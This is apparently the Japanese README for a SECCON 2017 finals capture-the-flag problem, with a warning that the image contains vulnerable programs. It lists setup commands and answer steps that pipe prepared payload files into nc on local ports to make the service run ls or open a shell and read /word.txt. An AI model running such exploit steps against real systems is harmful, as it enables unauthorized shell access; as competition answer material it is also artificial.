2017年度に出題した問題です.
※ (注意!)脆弱性のあるプログラムなどが含まれます.無保証です. 取扱には十分に注意してください.十分に理解した上で利用してください. インターネットに直接接続しているような状態でうかつに立ち上げたり しないように注意!
SECCON2017FINAL-qemuserver.ova をインポートし,以下を実行することで system()により ls or sh を実行する # chattr -i /home/arch00/bin /home/arch00/lib # chattr -i /home/arch02/bin /home/arch02/lib # cp /bin/sh /bin/ls /bin/cat /home/arch00/bin # cp /bin/sh /bin/ls /bin/cat /home/arch02/bin # cp /lib/i386-linux-gnu/libselinux.so.1 /home/arch00/lib # cp /lib/i386-linux-gnu/libacl.so.1 /home/arch00/lib # cp /lib/i386-linux-gnu/i686/cmov/libdl.so.2 /home/arch00/lib # cp /lib/i386-linux-gnu/libattr.so.1 /home/arch00/lib # cp /lib/i386-linux-gnu/libselinux.so.1 /home/arch02/lib # cp /lib/i386-linux-gnu/libacl.so.1 /home/arch02/lib # cp /lib/i386-linux-gnu/i686/cmov/libdl.so.2 /home/arch02/lib # cp /lib/i386-linux-gnu/libattr.so.1 /home/arch02/lib (/bin/ls実行) % cd answer/system-ls % ./cat.pl enter.bin arm-elf.dat - | nc localhost 10000 % ./cat.pl enter.bin aarch64-elf.dat - | nc localhost 10002 (シェル起動) % cd answer/system-sh % ./cat.pl enter.bin arm-elf.dat - | nc localhost 10000 → 接続後に cat /word.txt などが実行できる % ./cat.pl enter.bin aarch64-elf.dat - | nc localhost 10002 → 接続後に cat /word.txt などが実行できる